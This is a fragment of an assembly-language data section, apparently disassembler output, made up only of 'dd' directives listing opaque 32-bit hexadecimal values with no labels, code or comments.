		dd 0A81F7026h, 6A70215Eh, 0D36F5B80h, 7ABCC08h,	7AE06ED5h
		dd 0C8C324CAh, 0D43D7830h, 0DAE483DBh, 4450B40Ch, 127EB0E0h
		dd 0C0A19A4Eh, 252DD820h, 40264A4h, 0E9F8C282h,	40285163h
		dd 95820C84h, 0EE2A6000h, 9A6902E6h, 0FE7101E8h, 0A297A1Eh
		dd 0D5460A9h, 3FBF3507h, 7940113Eh, 2BE247Fh, 0A50B3878h
		dd 4C4413Ah, 2FB73101h,	963F5683h, 1E70BACCh, 0C262D785h
		dd 14C7EECDh, 0FC31B850h, 0D3288941h, 29B9B60h,	0C9C69C7Ch
		dd 18C202EEh, 42794059h, 6E000A18h, 0A7E011DBh,	761503DAh
		dd 0B9D8301Dh, 992E9C78h, 6045148h, 899B4E3Eh, 0BCD64989h
		dd 5D19971Ch, 6AA8248Ch, 7048A1F0h, 863F76h, 0CF49B1CDh
		dd 6DB57F9Ah
		dd 8DFBD0A8h, 716F79C0h, 12134F77h, 32EC1Eh, 1CB71418h
		dd 9601B9D3h, 8E1A7323h, 76F0E916h, 247B58DDh, 8B01D623h
		dd 887C362Bh, 0F3803033h, 727E2B51h, 0E7CA9D01h, 69091364h
		dd 0FBB4DC10h, 149C5606h, 299459Dh, 849EAA64h, 0F5C16B1Fh
		dd 9CAAFA2Ch, 4C8710B4h, 8C4DE8A0h, 8D56D100h, 0D91BA4B5h
		dd 116300C9h, 0B3104B12h, 6BF2AC98h, 57E19D18h,	0C2E6988h
		dd 62A2954Eh, 5403A6B0h, 4D069114h, 0E90004Bh, 6559FFB4h
		dd 35018C9Eh, 3CDD130Ah, 209654FDh, 23BC3A9Dh, 2229034Dh
		dd 0E9E182C3h, 0FB787039h, 17E140h, 58B7ADE3h, 7B685BDAh
		dd 0CC169939h, 0ACC01628h, 42B7442Ch, 0ADBC5969h, 24302D0h
		dd 0D9BD248Fh, 0F458A498h, 0D251F78h, 22608099h, 78975421h
		dd 68C9D5FDh, 0F0ABFC2Fh, 800C2884h, 6379F970h,	0B524890h
		dd 0B6D30248h, 79A6BD1Ah, 0FB856074h, 0B490D5B6h, 98CA0E04h
		dd 0C0C0053Ah, 607D7ACDh, 623368E4h, 1413384Ch,	3C04C3A5h
		dd 0BCA2A73Bh, 0A8308CE2h, 0C66603C3h, 0A0CB358Eh, 0BF7B13F8h
		dd 11096CB1h, 7FC810F8h, 81E9D2CEh, 254CA94Ch, 0CA8402F4h
		dd 6848E098h, 74646A00h, 6FA94921h, 7AC1074Dh, 7C091224h
		dd 0FD694151h, 76690031h, 4D484DA7h, 4CA808D7h,	39033E43h
		dd 0B0FC3231h, 3013E900h, 252AD87Ah, 98B70010h,	90B3DFBEh
		dd 6606E4CAh, 145C0DDEh, 24A6E0F1h, 0EE56758h, 0E880CED0h
		dd 905360D8h, 2C26EA26h, 0FD65006Eh, 0EBC5A4h, 5F8ACB3Ch
		dd 81E7749Dh, 54AE8912h, 0FB6B4600h, 26A51935h,	0CA30E53Dh
		dd 59465CECh, 0A3FC6203h, 0F11D6722h, 8D00B3A4h, 61E653CEh
		dd 45682495h, 0D43E075Ch, 0D8299C58h, 0FC14DE00h, 372F0F07h
		dd 30434DEBh, 0F9135C18h, 0C7008EDEh, 3770F7CAh, 34CF99h
		dd 28A45869h, 0F1130FB6h, 41510963h, 0B8994F4Eh, 0F9E0002Eh
		dd 6B5ECD01h, 2295007Fh, 0E13759DCh, 0DBF86743h, 42D1CA1Fh
		dd 64831C40h, 5C5F147Ch, 8EBC0CA5h, 2CA2E48Ch, 607051BEh
		dd 0EE2D3545h, 7377ED09h, 0FB3BD8B8h, 9917E86Ch, 5C4445A6h
		dd 45A82041h, 0FBF81872h, 0B5160D00h, 0B739AFBAh, 0EA7802D4h
		dd 0E033C12Dh, 503B9C41h, 0E7961290h, 9741366Bh, 805A9140h
		dd 83A56F32h, 9B19077h,	924E0E03h, 0D0C328E8h, 90847828h
		dd 36582409h, 0FD78A37Eh, 0C6BCDA65h, 9C4E18A4h, 1987116Bh
		dd 6A44C9F0h, 0C33501C8h, 113DFC53h, 0BC40D254h, 8DFD1ADh
		dd 13848067h, 3780DD0h,	140CC9C4h, 6811D1AEh, 71176163h
		dd 0A91400F3h, 0B754E001h, 930DF0B0h, 0D962FA88h, 4A1FA476h
		dd 0A745C0DDh, 808ED4D5h, 4ED6B709h, 1CC8000Bh,	64DA761Fh
		dd 70BFB096h, 0BA02C212h, 9984B0BCh, 0CD5E8194h, 70629139h
		dd 0BB60FC8Ch, 0C905D919h, 2AE10021h, 23F4201Dh, 0AB002512h
		dd 2829192Bh, 58C0D98h,	0B0D8013Ah, 0CC0E49Dh, 7331111Fh
		dd 0AE94D006h, 79E22718h, 76332890h, 58C3404h, 0B0E4EA43h
		dd 5A780BE1h, 0B08407DAh, 0CA814042h, 0BA99441h, 20E34616h
		dd 815E9504h, 36E7078h,	0CC3CE021h, 0FB78C0B4h,	20E9CA7Fh
		dd 0ED00557Ch, 16A2F967h, 4893EE99h, 0FA09E0B6h, 4841A0BFh
		dd 12F80906h, 25E0BAFDh, 983EA9h, 1CBABE46h, 6D6063Bh
		dd 0B5C8E857h, 2AC70069h, 7EDD43EAh, 8B0F0BD5h,	7C716DDCh
		dd 0CD4004DFh, 0DBF721FBh, 43F300B8h, 9BEB29D7h, 6C03DD60h
		dd 47C4097Ch, 6620A0D1h, 0F3F54828h, 1B0C4407h,	0A0E98065h
		dd 0C500353Eh, 0E217219Bh, 2AD547h, 93E701D6h, 36B8F553h
		dd 0B90E6EE6h, 0A02105CAh, 6CC3A94Fh, 7D0F070Ch, 30B14EEAh
		dd 0C4E243BBh, 12BC8059h, 30002041h, 16131E2Fh,	448B172h
		dd 46D19CBh, 1CA90B11h,	91C1AC50h, 3C978190h, 60BAC2C4h
		dd 7349D6A8h, 2B0C05ACh, 3405FDBEh, 0BCA3B47Fh,	0F83BF340h
		dd 1E9F2CB9h, 38465EE4h, 6AF88B04h, 0FC48C8E5h,	1358BE7Dh
		dd 583B28E8h, 0C3CD5600h, 0E0B0D0C2h, 0CA7C0663h, 0A96EDA90h
		dd 1F70DB17h, 3D84A08Bh, 1F9B306Dh, 888F1F87h, 213BA4F7h
		dd 143B0098h, 6FDD25B9h, 469FA909h, 60706DA7h, 6D7BA0C4h
		dd 0D831C006h, 20F02215h, 0CB91470h, 8D60E47Bh,	5D2DABD9h
		dd 80A8B5C8h, 8852D699h, 0FF06DD0Dh, 5741B356h,	48987A61h
		dd 9200A20Ah, 8FD2CF0Bh, 55002750h, 5A7F8518h, 0A586BE4h
		dd 2A8256FCh, 910426D4h, 6B068867h, 4C642465h, 0D7DD1260h
		dd 0B8626D02h, 442D0B13h, 0D8834C04h, 0B8A0442Dh, 2D1F31ACh
		dd 1623F707h, 9F21EE0Ah, 0CBFCF20Dh, 0E4A34D9Dh, 28157201h
		dd 20AC8FD3h, 8C2C120Dh, 0D4500FAh, 20B588E4h, 8C2C46E4h
		dd 0A608D2h, 5FBF3506h,	0F43A6539h, 0BEECF018h,	1B242C90h
		dd 215E401Dh, 0B79C6A70h, 36EF1340h, 0E4C386DAh, 44FD1547h
		dd 25008852h, 3D6F3F43h, 9F00FA4Dh, 8C7CF470h, 0E259C442h
		dd 38332E0Eh, 98F88224h, 0A8626DC8h, 15AD7C73h,	9299916Ch
		dd 360A4401h, 9CE03D19h, 0EECB005Fh, 0E727598h,	0E9C01C5Ch
		dd 4EFF8CECh, 713F074h,	9ED4A364h, 6AC1805Eh, 0E6178D44h
		dd 70CD694Ch, 10482F2Bh, 8CC03E4Dh, 7425BC02h, 7A56121Eh
		dd 0BF344981h, 5801612Dh, 8C318066h, 0D28D0C4Ch, 0CBAD3367h
		dd 78239959h, 7200079h,	68B3E4D8h, 21756086h, 2C07253Ch
		dd 9420045Eh, 0E28EE54Dh, 2530752Bh, 603B3Ch, 1C3DC4DAh
		dd 5C73A6C2h, 0EDC8A740h, 0C8204AE0h, 0CA01AB40h, 8F0274ACh
		dd 3871F258h, 78BC7468h, 8E0E3F43h, 0D560F7DDh,	0C2146CF6h
		dd 0E806454h, 69C2C04h,	0C0AD62E1h, 4A45B613h, 37942FECh
		dd 82CCBA20h, 87B0C7F3h, 21764456h, 0EF806D4Ah,	2B294D31h
		dd 98F9167Dh, 0AAEC4754h, 2C7199F6h, 0DD194379h, 0F5FED86Bh
		dd 3D395A01h, 1AC8CD78h, 0D542B840h, 6468F098h,	8ED9103Eh
		dd 5C378AC0h, 30D87B44h, 9D701355h, 35682CE1h, 0A0405C88h
		dd 1D222730h, 9D715F5Ah, 0E4EA81BEh, 30CA856Fh,	0B006B2Ch
		dd 0C379247Bh, 248C2155h, 12D4E4C1h, 0E2BCB2A7h, 7FE33095h
		dd 6630F701h, 3AB470F8h, 9C4EF88Eh, 0FA8729F8h,	3F09C9DEh
		dd 124CA1BFh, 0A06D6EF3h, 606A4E0Ah, 0B18008F8h, 8039C40Fh
		dd 0B7C20F77h, 0CA540614h, 0E918D07Ah, 0FB19901Fh, 0D8CD3D0Dh
		dd 4A379420h, 0C9C300Bh, 0A55F9414h, 0CB1CA06Bh, 0A4C704F5h
		dd 6D9482FCh, 397194F1h, 0B9060A18h, 44C37FB3h,	47AB1619h
		dd 23B03ABEh, 0BBCD005Bh, 0A0A873A4h, 97958D04h, 0B084917Ch
		dd 93F63492h, 29B8C1A8h, 0D3C097EFh, 67941E95h,	7D0CAh
		dd 0FAAC5521h, 1B447A7Ah, 303C2E11h, 0AC1444C4h, 0A85490B8h
		dd 0AF008C60h, 50182A1Dh, 9D8AA59h, 0E011EB6Eh,	907080CAh
		dd 1C4C1610h, 34A8D440h, 0CF801547h, 0C05A88D0h, 3C9585E1h
		dd 9404A87Fh, 9D135131h, 7ECF8A4h, 0C00EAEFEh, 0D0C7D1A4h
		dd 0C1176095h, 6742EE02h, 7653FD98h, 9D1F0628h,	51003996h
		dd 863D924Bh, 139F6Dh, 898C1D09h, 24D86EFBh, 54586348h
		dd 2AEDC8A4h, 8CB21C12h, 2821D907h, 0FACE3020h,	5F07451Eh
		dd 0E1D45838h, 299DBDC2h, 0AD17479h, 452A0C18h,	3B00844Fh
		dd 0EEAC2722h, 0B484DC8h, 0C41B0F1Ah, 8A31BC02h, 43D938F9h
		dd 1B0A0D18h, 0CC04E7Ah, 0A97C210Ch, 0D0241FE6h, 0BE7642A2h
		dd 4562CCAh, 5EE56840h,	0DC3C000Ch, 90DDFF4Eh, 3900106Bh
		dd 88FAA09Bh, 0C5411859h, 0C4CA5648h, 0D88202Eh, 664F1B4h
		dd 99C139B9h, 303ABBD8h
		dd 761AE360h, 8CB02890h, 33612498h, 0D4FDBD40h,	0BC30846Ch
		dd 0D7F577A8h, 1F788CB2h, 0C0C43410h, 0E5C7FD04h, 53F481C5h
		dd 62CDD83Dh, 0F7BDD01h, 4A1914E3h, 82FB4880h, 321C040h
		dd 84BE52h, 6767AA6h, 9E63F8C3h, 2F1E9394h, 6A701018h
		dd 0C927ECC0h, 0CF3FC702h, 0D48905B8h, 0B4407358h, 0F9B197Ch
		dd 162A0038h, 0EED87E5Bh, 58A3953Ch, 0E270F294h, 0F4903357h
		dd 0F5092A70h, 0E090F01Bh, 2ED0F860h, 84DC82A8h, 0C52E4AA0h
		dd 27940E28h, 21BF0990h, 0E70846Dh, 9874C241h, 1590D86Ch
		dd 87E8140Bh, 4E1868F4h, 9C6954C6h, 9F41306Dh, 0E4AA2F88h
		dd 57713499h, 0B200C418h, 0EA1AFC18h, 0A87422A2h, 73D72D94h
		dd 3C92B8D1h, 0A900886Ah, 8E8DECF3h, 81C06FEDh,	1F401CFEh
		dd 9D963A98h, 886C8B4Fh, 3EF8C14Bh, 10FFE8E4h, 557C9097h
		dd 0BCF92F7Ch, 0C8357C04h, 0C813E17Ch, 74E46D64h, 0DCF01138h
		dd 402B976Fh, 0C8004223h, 6FC74E61h, 9FFE162Ah,	0A2F488B3h
		dd 0ECB7D000h, 0F9319A73h, 0D25D0026h, 693EE043h, 0CA0BCFFDh
		dd 0C55507C8h, 603DE478h, 7B93532h, 3E61FCE5h, 0B804C422h
		dd 8C99BC70h, 9C51740Fh, 0F7D5617Ch, 6DD4053Bh,	804C4E60h
		dd 729DAFD4h, 816958C8h, 0D130ACA5h, 0BEDC20FFh, 3F95EB14h
		dd 0ED0186B4h, 0FDC03E18h, 3EF4D324h, 0C06BC213h, 6DDAAF30h
		dd 0E8D48248h, 0DE728C6Fh, 85DA3A3Dh, 0E7F4B58Fh, 227A68C2h
		dd 0C0A75141h, 8990A0CFh, 9E03F629h, 2292C097h,	0BB29007Eh
		dd 1548E645h, 9400F3D7h, 37591808h, 0B0B57982h,	46849894h
		dd 2B8C02F9h, 0F1807C31h, 52F46038h, 0C004DE2Bh, 0D8959985h
		dd 4CACF8h, 0EFF50808h,	465CF4ACh, 92F23E43h, 0C4E23801h
		dd 0C9E19719h, 0AC582E2Eh, 9535D708h, 0CA2814ACh, 96180C62h
		dd 0D2B8FAFAh, 3AA4B120h, 3AFC7020h, 7E5C00E1h,	0C4D9245Bh
		dd 500F35Eh, 0DADDC69h,	4ACFD137h, 88148B1Dh, 6C2BC039h
		dd 3E72D9DEh, 87052091h, 60094BE8h, 410F18Dh, 0B686CCDh
		dd 60D01523h, 4E78E513h, 0B4C3654Ah, 0B69C20Eh,	58006C64h
		dd 0A079078h, 0EC7FE0h,	4DBFBB1Bh, 169A8685h, 4C789C2Ch
		dd 0B5CC3002h, 47587E7Ch, 0A574F0ADh, 0D700B980h, 0FFB5D536h
		dd 9526BBh, 6CA35083h, 60C47C13h, 215E349Ch, 91813E4Ch
		dd 0B0FB34C3h, 0D4DDE201h, 4A01B828h, 9EAC5462h, 50C081EBh
		dd 0FDA7DE5h, 0FCC8BC32h, 9952F098h, 67F3F514h,	0E1E701A8h
		dd 25953DB3h, 0CA001479h, 0FAE33CADh, 6601F3ACh, 0EBC83441h
		dd 0FBFD98C9h, 8A001C79h, 0E3F7F5E7h, 0DD0023C2h, 2B03731Fh
		dd 0A91735h, 0B4AB5CD3h, 55FE6A9Eh, 0CD48102h, 0D402593Eh
		dd 0D17C29DCh, 27581894h, 7CA0418Dh, 8A12B006h,	6502D112h
		dd 3C96D200h, 1D1EB2EAh, 0C189A894h, 14D82CF8h,	105C7980h
		dd 7F13B484h, 0FBD891B5h, 0D36980B9h, 0A1C37D87h, 0BED10006h
		dd 2943FFF9h, 0F51ECF01h, 1F8A4753h, 0A740849Dh, 0F33D24h
		dd 127E509Ch, 546A054Ch, 18EC2900h, 9108ABA4h, 44C116ACh
		dd 0AC1C847Ch, 8C58BC48h, 0C2EC8E01h, 0DF70E560h, 9808706Ch
		dd 0EE8275A6h, 0C389681Ah, 0AC69489Ch, 0CC60E001h, 8B7BDCECh
		dd 811B6630h, 3CE8F81Ch, 0D6180CDEh, 1122E622h,	86482C8h
		dd 931D800Eh, 89A48154h, 80406B91h, 0D4C8A76Dh,	63609EEAh
		dd 7849FDBFh, 14DDA0F4h, 805E4BF5h, 0F38F3908h,	34F70B13h
		dd 1BCC8E04h, 7E93F891h, 31FC0C09h, 0AD586600h,	821A5B74h
		dd 0C6253D54h, 7951289Eh, 2E911687h, 7548D0FBh,	0D7002BC9h
		dd 51123CB8h, 5340BFh, 72EC083h, 5E4E8A82h, 100810DFh
		dd 69D6A84h, 311FDB51h,	7E07350Ch, 0B76A41BEh, 0A320B49Eh
		dd 42F0A707h, 55183F77h, 88C01275h, 0D00413CAh,	2FFE11A0h
		dd 1342089Ch, 2EB0E40Bh, 83E8FC41h, 109AEAADh, 0A58FF580h
		dd 26C635Ch, 7330D93Bh,	76881F2Eh, 0A3F0603Fh, 0C905422Fh
		dd 92C14E55h, 5CD07817h, 0E2BA18F7h, 4FA00B4h, 0B60F0B6Ch
		dd 1B006998h, 0D1B3AD8Dh, 94BBC327h, 59465E8Ch,	0BBE1AD03h
		dd 0F28D9787h, 304BF224h, 0B902431Fh, 0CA9DA5EEh, 605244h
		dd 4DBA6ADAh, 0EB730BD2h, 40ADE21Fh, 60A00B9h, 9BE852B6h
		dd 0A31F00C3h, 4D903053h, 0A1026F97h, 666CC175h, 5E1C5E14h
		dd 0C12E8846h, 0BF0602AAh, 987E415Ah, 0C91BDE80h, 1FCC1Ch
		dd 3E67D31Eh, 956E91B3h, 10EA4E2Dh, 7A719630h, 0DB9007D7h
		dd 10E7E3AEh, 217A64E0h, 7C07A617h, 56B010A6h, 22485AD8h
		dd 0F88517F4h, 0D300547Bh, 0C51317DFh, 81099D50h, 7B1D57h
		dd 74DBC0EAh, 0E44159FFh, 7F1893BCh, 0ABB90D7Dh, 0F41E0EEBh
		dd 2932C410h, 5081D48Ch, 37CA0700h, 0C1455629h,	0CC442005h
		dd 10837B7h, 1104E651h,	4C403FEDh, 0D0A5130Eh, 25B80397h
		dd 415B0DC1h, 0F200A179h, 6A070ABh, 70DEE40Bh, 50D03925h
		dd 0FDB39400h, 967E7AD7h, 0DA8938C0h, 0B8DEECFh, 35C95975h
		dd 0C20BE058h, 0B7FBCCEh, 79C2FC8h, 0BD656D3Ch,	0FC2C44C0h
		dd 12609683h, 3E9008A6h, 0B935AD87h, 87109F70h,	0ECA20054h
		dd 297A19FEh, 0A500223Ah, 0FFB4DBCAh, 5C654498h, 0E983C09Bh
		dd 2CD8766Ch, 0C7011361h, 0C84E6973h, 3B3E2E1Bh, 58123E8h
		dd 4068597Ch, 0F01E4D9Ch, 7003FB27h, 7AC03C7Dh,	0F1D82CD5h
		dd 8078A95Ch, 0BB517805h, 0E00F2CD4h, 621232E4h, 0A947FC37h
		dd 64A8C548h, 96266092h, 41B901C6h, 0C4AE350Ch,	0FFFA70C2h
		dd 40C93119h, 0B30208F8h, 7FFD7220h, 211313EAh,	0E050B655h
		dd 294E8F05h, 0D4B47Fh,	2FA5E0C2h, 1F172ABDh, 1C08A9A4h
		dd 0C62C8313h, 88260773h, 0A696D0F4h, 1DA8C4CCh, 12C08DE1h
		dd 0DD6CD059h, 0CE000878h, 0D542DBAAh, 59F10A0h, 0E51C7666h
		dd 2434A89Bh, 6DADF4B9h, 0B97C070h, 3D51BF7Bh, 641C4064h
		dd 0B700075Dh, 21C04C15h, 68C99989h, 0DCD469F7h, 5C4EF307h
		dd 4C905045h, 0BDFE12C8h, 3C71A029h, 44C6E900h,	15935Fh
		dd 0DBCBDC17h, 0A8B7AAC9h, 11D3ED2Dh, 1B30FE88h, 12BF07C6h
		dd 536F6C4Fh, 92D8AC3Bh, 0DB0C5617h, 684219C0h,	0B40E8880h
		dd 52D4F41Ch, 0ACD01740h, 1066099h, 88A202CDh, 0A5158FE5h
		dd 0BE189760h, 0D0280046h, 0F0CCF768h, 0DC949418h, 0EEA45A02h
		dd 420C83C7h, 5E58F450h, 9C6D3721h, 3FFA829Eh, 20F9C64Eh
		dd 39D46C27h, 0BCD5FD96h, 0C3444E3Fh, 407F5825h, 47B30498h
		dd 0B50069A2h, 14765E8Ah, 4D3423h, 5D32C24Eh, 0C98FED58h
		dd 0CFC3CA00h, 9FA22EACh, 56500E9h, 0C2FD3B31h,	0F126996h
		dd 68E27B68h, 0B3043F2h, 1C390FC4h, 0B0C07ABAh,	8E88EEC9h
		dd 3E0A787Eh, 0D837C049h, 7D80F011h, 787C382Bh,	1587CB4h
		dd 332B3E54h, 0AE7E8101h, 6D7F954Eh, 19060044h,	636FEBA5h
		dd 8060BCFCh, 711B9C38h, 0FB007FBAh, 0C4B56091h, 7A2B0D7h
		dd 0DFF9A958h, 8821943Bh, 0CC004238h, 0AB8BF4Eh, 0D0D7D5h
		dd 0E426361Bh, 0A3F49FF7h, 612DB02h, 0F69D1A2Ch, 99FA8508h
		dd 1B8F071Eh, 0B5C5803Fh, 63013792h, 21A4BCE4h,	0B8404FB4h
		dd 0E679A297h, 92949EFAh, 464B25Bh, 0A22AFA5h, 0BD0B70B8h
		dd 8E5301Ch, 566160E4h,	1FDCF0CCh, 95104C01h, 4525740Eh
		dd 0C80AC10h, 0C0F46A00h, 6F96C343h, 8480B041h,	0A1B40084h
		dd 907BD6F6h, 7D00CE9Bh, 56F26CC6h, 0C320F01h, 69E7031h
		dd 7D602151h, 8F726D39h, 8BCE01D4h, 0D0FD0E98h,	0CA5AE8B5h
		dd 84BCEBF1h, 0BCDCB8B4h
		dd 4E718C8Eh, 0C2EEDC16h, 7591D801h, 4432E597h,	0EF31338h
		dd 0C0CECAB1h, 1217702h, 9084C842h, 0C0ED4F79h,	3BD5F5D0h
		dd 40C113D1h, 0E509004Bh, 296AA9Ah, 8E7E98C8h, 49E0FFE6h
		dd 7DA7714Eh, 110CD43Bh, 6E0169C1h, 0CF0BC7FDh,	10CE2A20h
		dd 26C23788h, 802C56FCh, 54136964h, 0DE7DE36Bh,	5BB38212h
		dd 202B9CA1h, 3709EB78h, 0F970D30Eh, 8CC4D3E8h,	57BCD0F8h
		dd 0A2B63B8Ch, 0C8D85B78h, 0C700F7E4h, 0FA53D92h, 0A49D14D7h
		dd 0C25B00C4h, 0EA3936B2h, 1113DF38h, 0C8005DEFh, 5E73A9CBh
		dd 540F70DBh, 675C4CC3h, 97ED5936h, 82B3308Ah, 2779E4D1h
		dd 9B001376h, 9A890334h, 99DDBB2Bh, 185A79E4h, 21680004h
		dd 0DAE65BBBh, 20B5416Dh, 7EE215ECh, 0C04E04A7h, 0AE1FD025h
		dd 6800286Eh, 5DCA6FCh,	5A1D60E4h, 4E85C62Bh, 64FD30D4h
		dd 0A602AB22h, 951181DBh, 19A0B056h, 0BC0301F0h, 914396F9h
		dd 35E4D4A6h, 1A7AC400h, 9FD51972h, 0E53E08DFh,	0FE16B55Fh
		dd 7C3C78E1h, 0B8805289h, 0B9A33439h, 0C2ACF300h, 0A8790374h
		dd 0BB9F0E85h, 0FC457A2Ch, 2FD4CDB1h, 3F00386Ah, 8E656F87h
		dd 0A601B4BFh, 5D94CA85h, 0B5D4A919h, 9957E0Ch,	7AC0D79Bh
		dd 4EEC1066h, 4A005CB1h, 0D012EFA3h, 0F3960B73h, 86FE527Fh
		dd 60D16C12h, 5CE0D8E4h, 0CA5701F5h, 0DFEEDA5Bh, 0E29807Dh
		dd 48BE29D5h, 0C0864BC2h, 0BF3D7B60h, 0C8E1690Ch, 1D9E2959h
		dd 13EF37Eh, 98CBCD05h,	56B474B1h, 0ECCB7B5h, 0C3E2FB9Fh
		dd 6C545168h, 0D4804011h, 0CEBD0DB6h, 0C05B3C94h, 5077B6FCh
		dd 91B4F038h, 0FB026B0h, 0C069756Fh, 0E2C82884h, 75D080F0h
		dd 0A4399Dh, 86237D44h,	0CFF5F109h, 674A1700h, 0C455B3C6h
		dd 406EED6Dh, 956C877Ch, 12380735h, 54785E8h, 3C0F5B49h
		dd 9A8FE061h, 4FBF1ED3h, 211CD05Ch, 91B02704h, 0DFEE500h
		dd 7D95CFC4h, 0ACD1005Fh, 0CEA128Ch, 617FDAB4h,	0BCC3A8C1h
		dd 6C2437E7h, 164B2663h, 0FD1262h, 5BECF70Ch, 0C3001766h
		dd 2B6A4E73h, 46B64E9h,	13149A54h, 63F0BDC7h, 0B3584B18h
		dd 0C4EAE228h, 9E48FA40h, 199C8048h, 0D489F140h, 5B4FE00h
		dd 15200C82h, 49F23097h, 0A8DAB329h, 0C064394Ch, 0CEFD22B2h
		dd 15F92841h, 0F63201D2h, 0ACF5A166h, 2C1B2031h, 0C3A9510Ch
		dd 3EBCE06Fh, 344839AAh, 0A7807C3Fh, 0ABEF7A4Fh, 77030D9Ch
		dd 51DA89D4h, 4EF8C0C1h, 22BB00E0h, 96DFA317h, 44004537h
		dd 9FBE8FD6h, 16C5560Dh, 0B1118Bh, 995329A1h, 25007DC4h
		dd 0A4559F46h, 33587D9h, 652C4151h, 7BE0C2F8h, 7300421Bh
		dd 6ED66F1Eh, 50871CAh,	0B2EEBEF6h, 600EC7E9h, 0AB53B057h
		dd 0CB89C707h, 0C5908CE6h, 797CAE8h, 0FF32204h,	1818CFD3h
		dd 8505BDA8h, 0C8AFFB4Dh, 208E206Ch, 0F5E618A5h, 0B5EE84FCh
		dd 58575600h, 860C62B4h, 7C89E0FEh, 1FB9ECC7h, 0A887C9FDh
		dd 853F0E82h, 84AAD899h, 81085320h, 21B1F827h, 81101E14h
		dd 8307C691h, 0E1E5C8BCh, 22F43A98h, 0C73A8C00h, 600AF3FEh
		dd 7FC30201h, 56A6680Fh, 0C40834ACh, 0B36280A8h, 7CA0C88Dh
		dd 519D0B00h, 0F8F215B2h, 4B4F01CBh, 0F6B36017h, 0F714E464h
		dd 0B4104AFh, 1080537Eh, 0E35206CFh, 0DCEC83ECh, 0D063A700h
		dd 0B1C60ED1h, 2F073F0Ch, 9A041406h, 7342294Fh,	1180B211h
		dd 45111393h, 8B7213Fh,	8F904277h, 483CF384h, 646E421Bh
		dd 0A321FB24h, 109F124Ah, 0F7896A21h, 4B443D08h, 0A6DB4003h
		dd 21EB3Ch, 7C78E8C4h, 16A61B9h, 8A57CC5Bh, 0D4AD6CF7h
		dd 5900829Dh, 122080C4h, 417932h, 0E1ED3FB3h, 0F5E36CD1h
		dd 0FFCFA500h, 17C88292h, 33240011h, 0C76C2D5h,	0D6031071h
		dd 18644441h, 0D174B0F4h, 8029070Dh, 402E03F8h,	9CB5999Bh
		dd 4800E2E8h, 7C6D43F4h, 732959h, 3F052BDFh, 8CBA7E5Dh
		dd 673B9C00h, 0DE5BAB56h, 61F91F6Dh, 8AE9407Fh,	46972BBFh
		dd 45ED8700h, 0AE66DCE0h, 0A8433819h, 0A3569980h, 0C2BF88D5h
		dd 58DE7B00h, 0EBD8D6A2h, 419B00CAh, 57E8CF78h,	0FD7B46ECh
		dd 66860F00h, 98AAC5F4h, 4575010Bh, 0A3CC4E9Fh,	52EAF00Eh
		dd 5BD84800h, 82401279h, 0D36F007Dh, 9DB6EF39h,	4800B7B0h
		dd 6D1C0470h, 7571A4h, 0D6DCCC9Ah, 0DAF21144h, 8A680C00h
		dd 4E5304E9h, 841600B3h, 0F0D9CC36h, 0AA48EC19h, 67B100C5h
		dd 0FB43EF7h, 540B4894h, 0DBBBA400h, 474963EFh,	5B338B24h
		dd 70F8C04h, 62D672C0h,	81893FE0h, 0DAA82700h, 24B5968h
		dd 78158A07h, 9150B883h, 1A5E01Fh, 0DE858B92h, 0F0F179E8h
		dd 0DDFEDA61h, 0E01E3C98h, 529D13CAh, 0E70B8FACh, 1719803Ah
		dd 7D2EC4h, 0C8FA4FABh,	0E10A56B7h, 2094C551h, 52019DC6h
		dd 13F92CE7h, 0B8345DA9h, 7FB80C94h, 95286ECFh,	0B67B28E4h
		dd 0AE2D3300h, 35AB2E51h, 9ABF018Bh, 460A0423h,	0A696ECFFh
		dd 0A2E68E00h, 4145DA71h, 0CCD0A27h, 0FA1765h, 0C4FE283Ch
		dd 6400A6FDh, 9F70ACADh, 0F7446Bh, 613E216Eh, 95021142h
		dd 0B6B9B10Fh, 0CB4FE1F0h, 0F820BBDDh, 166C0C5Dh, 902827BEh
		dd 0BD4EF0E1h, 2E1EB500h, 0FF584881h, 63D800BEh, 8DCC9F68h
		dd 38003FFAh, 0A6BA0E4Eh, 0BDE6DCh, 0A3B07BA0h,	0FFC6F4CAh
		dd 6D513Fh, 0F1472EBFh,	0B14CF9h, 7AB295D0h, 0C4F5988Fh
		dd 74703200h, 0D1BA9638h, 0C77F06h, 0F74BE5BDh,	0A289D823h
		dd 28EBBC00h, 696A9ADh,	703F3E36h, 0F20065BEh, 55CA7460h
		dd 0FF004D97h, 0F0362F6Ah, 0F8CB0F17h, 665239EFh, 4F29B280h
		dd 4BBFC969h, 17773300h, 0A32ADB49h, 0EF7EB5h, 0A480CC8Eh
		dd 708B8F87h, 2C81CD00h, 2975A694h, 0D03900B5h,	0EACB1C7Fh
		dd 0C600783Eh, 0FF44614Bh, 28107C77h, 1CE02415h, 410BD86Eh
		dd 0BF8E70DCh, 7DF7F49Eh, 7232C762h, 2580F5A0h,	0CAB070F9h
		dd 500690ECh, 0BF5EE5AAh, 187480h, 5138E602h, 67D657E3h
		dd 0F6A61600h, 0BC192261h, 9EB10096h, 4A9F47C1h, 0E3F02E9Ch
		dd 38C54C01h, 2CA1E82Bh, 1B624F4h, 216690D9h, 0D8E4D75Bh
		dd 8700B260h, 71A11112h, 828C85h, 0D4BFE9CBh, 0F749C0D2h
		dd 8104E000h, 1CFDA26Ch, 0FE7B008Bh, 2D5B690Ah,	2B0076C8h
		dd 4D8D17F3h, 3AD39F71h, 23139BC1h, 5DD002BDh, 78402B78h
		dd 5A50AA48h, 0CD1FC4ABh, 8C02ADDh, 0D2BB9A98h,	0C6C30C81h
		dd 0DC687921h, 32B8F00h, 0ECE2C458h, 0A06C98E4h, 1F9C619Fh
		dd 0C08CEB83h, 35FA349Fh, 6300D912h, 0B17EEC1h,	123C1526h
		dd 71CC201h, 80C552E3h,	0EEE3558Bh, 95A23906h, 3E264A53h
		dd 1D004F05h, 0AC1F16CDh, 0A9031738h, 34DBB3A7h, 5341A8EDh
		dd 0DD93005Fh, 45B63F73h, 6C481E5Dh, 6A8B0094h,	61F25360h
		dd 0C8DC0075h, 39FA288Ah, 9A01482Ch, 0AFEB40D4h, 0F7CCE6FEh
		dd 10570025h, 716470E7h, 97006635h, 0A34226CFh,	1C2EC862h
		dd 8128C473h, 198BB1Ah,	9920C81Eh, 204374Ch, 45D2C55Fh
		dd 0F7A84028h, 73B428ECh, 0E3D0098h, 0D9545897h, 12008570h
		dd 0C6DB9056h, 73E66Ah,	0B48239E0h, 0B11A7CC8h,	0DC52A400h
		dd 0FA69FE95h, 531100DEh, 0E8440B49h, 0FD00D4BCh, 31F1260Ah
